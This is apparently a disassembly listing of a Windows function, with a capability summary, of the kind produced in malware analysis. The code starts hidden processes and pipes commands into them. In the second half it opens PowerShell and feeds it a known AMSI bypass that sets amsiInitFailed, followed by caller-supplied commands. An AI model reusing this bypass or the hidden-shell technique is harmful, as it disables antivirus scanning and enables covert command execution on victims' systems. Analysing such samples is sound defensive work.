Function at 0x412e00
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42fd2b
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x441310]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x44
push 0
lea eax, [ebp - 0x134]
push eax
call fcn.00415b40
add esp, 0xc
mov dword [ebp - 0x134], 0x44
push 0x10
push 0
lea ecx, [ebp - 0xc8]
push ecx
call fcn.00415b40
add esp, 0xc
mov dword [ebp - 0xe4], 0xc
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 1
push 0
lea edx, [ebp - 0xe4]
push edx
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0xb4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x412ea1
push 0xffffffffffffffff
call fcn.0041bc42
mov dword [ebp - 0x108], 0x100
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0xfc], edx
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0xf8], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0xf4], eax
push 0x430868
lea ecx, [ebp - 0xa8]
call fcn.00407b80
mov dword [ebp - 4], 0
push 0x430878
lea ecx, [ebp - 0xa8]
call fcn.00413590
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x134]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0xa8]
call fcn.00410750
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x412f36
push 0xffffffffffffffff
call fcn.0041bc42
push 0x3a98
mov edx, dword [ebp - 0xc8]
push edx
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x430884
lea ecx, [ebp - 0x48]
call fcn.004079e0
mov byte [ebp - 4], 1
push 0x430890
lea ecx, [ebp - 0x48]
call fcn.00409970
push 0x4308a0
lea ecx, [ebp - 0x48]
call fcn.00409970
push 0x4308b0
lea ecx, [ebp - 0x48]
call fcn.00409970
push 0x4308fc
lea ecx, [ebp - 0x48]
call fcn.00409970
push 0x43090c
lea ecx, [ebp - 0x48]
call fcn.00409970
push 0x430948
lea ecx, [ebp - 0x48]
call fcn.00409970
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040db10
push eax
lea ecx, [ebp - 0x48]
call fcn.00410730
push eax
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x412fe2
push 0xffffffffffffffff
call fcn.0041bc42
push 0x3e8
mov edx, dword [ebp - 0xc8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x90]
call fcn.004134c0
mov byte [ebp - 4], 2
push 0x430964
lea ecx, [ebp - 0x90]
call fcn.00409970
push 0
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0x90]
call fcn.0040db10
push eax
lea ecx, [ebp - 0x90]
call fcn.00410730
push eax
mov eax, dword [ebp - 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x413051
push 0xffffffffffffffff
call fcn.0041bc42
push 0x2710
mov ecx, dword [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov edx, dword [ebp - 0xc8]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea ecx, [ebp - 0x178]
push ecx
call fcn.00415b40
add esp, 0xc
mov dword [ebp - 0x178], 0x44
push 0x10
push 0
lea edx, [ebp - 0xd8]
push edx
call fcn.00415b40
add esp, 0xc
mov dword [ebp - 0xf0], 0xc
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 1
push 0
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0xb8]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x41311c
push 0xffffffffffffffff
call fcn.0041bc42
mov dword [ebp - 0x14c], 0x100
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x140], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x13c], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x138], eax
push str.powers
lea ecx, [ebp - 0x60]
call fcn.00407b80
mov byte [ebp - 4], 3
push str.hell
lea ecx, [ebp - 0x60]
call fcn.00413590
push str.__Com
lea ecx, [ebp - 0x60]
call fcn.00413590
push str.mand__
lea ecx, [ebp - 0x60]
call fcn.00413590
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0x178]
push edx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0x60]
call fcn.00410750
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4131bf
push 0xffffffffffffffff
call fcn.0041bc42
push 0x3a98
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._a_Ref__n
lea ecx, [ebp - 0x30]
call fcn.004079e0
mov byte [ebp - 4], 4
push str._b_a.Assembly_n
lea ecx, [ebp - 0x30]
call fcn.00409970
push str._c_b.GetType
lea ecx, [ebp - 0x30]
call fcn.00409970
push str._System.Management.Automation.AmsiUtils_
lea ecx, [ebp - 0x30]
call fcn.00409970
push str._n_d_c.GetField
lea ecx, [ebp - 0x30]
call fcn.00409970
push str._amsiInitFailed_NonPublic_Static_
lea ecx, [ebp - 0x30]
call fcn.00409970
push str._n_d.SetValue__null__true__n
lea ecx, [ebp - 0x30]
call fcn.00409970
push 0
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x30]
call fcn.0040db10
push eax
lea ecx, [ebp - 0x30]
call fcn.00410730
push eax
mov edx, dword [ebp - 0xb0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41326b
push 0xffffffffffffffff
call fcn.0041bc42
push 0x3e8
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x78]
call fcn.004134c0
mov byte [ebp - 4], 5
push 0x430a80
lea ecx, [ebp - 0x78]
call fcn.00409970
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x78]
call fcn.0040db10
push eax
lea ecx, [ebp - 0x78]
call fcn.00410730
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4132ce
push 0xffffffffffffffff
call fcn.0041bc42
push 0x2710
mov edx, dword [ebp - 0xd8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xb0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.00408910
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x30]
call fcn.00408910
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x60]
call fcn.00408930
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x90]
call fcn.00408910
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.00408910
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa8]
call fcn.00408930
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004147d1
mov esp, ebp
pop ebp
ret